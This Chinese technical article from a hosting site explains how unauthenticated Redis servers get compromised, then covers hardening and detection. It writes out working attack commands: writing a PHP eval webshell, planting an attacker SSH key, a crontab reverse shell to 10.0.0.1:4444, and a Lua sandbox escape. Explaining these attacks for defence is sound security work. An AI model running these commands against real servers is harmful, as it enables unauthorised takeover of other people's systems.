Redis+Getshell的示例分析

发布时间:2022-01-13 15:44:23 作者:小新
来源:亿速云 阅读:214
# Redis+Getshell的示例分析

## 引言

Redis作为高性能的键值存储数据库,广泛应用于缓存、消息队列等场景。然而,由于配置不当或版本漏洞,Redis服务器可能成为攻击者获取服务器权限的入口。本文将通过技术原理、攻击场景和防御措施三个维度,分析Redis被用于GetShell的典型攻击路径。

---

## 一、Redis未授权访问漏洞原理

### 1.1 漏洞成因
Redis默认绑定`0.0.0.0:6379`且无认证机制,若管理员未配置:
- `requirepass`认证密码
- `bind 127.0.0.1`限制访问IP
- 防火墙规则

攻击者可直接通过`redis-cli -h <target>`连接服务器。

### 1.2 信息泄露验证
```bash
$ redis-cli -h 192.168.1.100
192.168.1.100:6379> info
# 获取服务器版本、数据目录等敏感信息

二、GetShell攻击路径示例

2.1 写入Webshell(需已知Web目录)

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save

关键点: - 需要Redis运行账户对Web目录有写权限 - 适用于Apache/Nginx等未做权限分离的场景

2.2 写入SSH公钥

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC... attacker@kali\n\n"
save

利用条件: - Redis以root权限运行 - 服务器启用SSH服务

2.3 Crontab定时任务反弹Shell

config set dir /var/spool/cron
config set dbfilename root
set x "\n* * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"
save

特征: - 适用于Linux系统 - 需要目标服务器可出网


三、高级利用技术

3.1 主从复制RCE

利用工具: - RedisRogueServer - redis-ssrf

攻击流程: 1. 伪造恶意Redis主节点 2. 诱导从节点执行MODULE LOAD命令 3. 加载恶意.so文件实现RCE

3.2 Lua沙盒绕过

eval 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local f = io(); local cmd = "id"; local res = f:read("|"..cmd.."|"); return res' 0

限制: - 需存在可加载的Lua库文件 - Redis配置未禁用SCRIPT KILL


四、防御方案

4.1 基础加固

# 必选项
bind 127.0.0.1
requirepass ComplexPassword123!
rename-command FLUSHALL ""
protected-mode yes

# 推荐项
port 6380  # 修改默认端口
dir /var/lib/redis/  # 设置专用数据目录

4.2 网络层防护

4.3 运行时防护

措施 说明
低权限运行 创建专用redis账户并限制目录权限
定期日志审计 监控可疑CONFIG/SET操作
禁用高危命令 rename-command CONFIG “”

五、入侵检测与应急响应

5.1 入侵痕迹检查

# 检查可疑文件
find / -name "*.rdb" -mtime -1
ls -al /var/spool/cron/

# 检查Redis日志
grep -E "CONFIG|SAVE" /var/log/redis/redis.log

5.2 应急处理步骤

  1. 立即断开受影响服务器网络
  2. 备份当前Redis数据文件(取证需要)
  3. 重置SSH密钥与Redis密码
  4. 升级Redis至最新版本

结语

Redis的GetShell利用本质是配置缺陷与权限问题的叠加。管理员应当遵循最小权限原则,结合网络隔离与命令限制构建纵深防御体系。建议定期使用Redis-Check等工具进行安全检测,防患于未然。

本文仅作技术研究用途,严禁用于非法测试!实际渗透测试需获得书面授权。 “`

注:实际执行攻击行为属于违法行为,本文所有示例仅供安全研究人员进行防御方案设计参考。

推荐阅读:
  1. raid的示例分析
  2. react的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

redis getshell

上一篇:Python怎么生成带有滚动功能控件的scrollable函数

下一篇:shellcode是什么意思

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》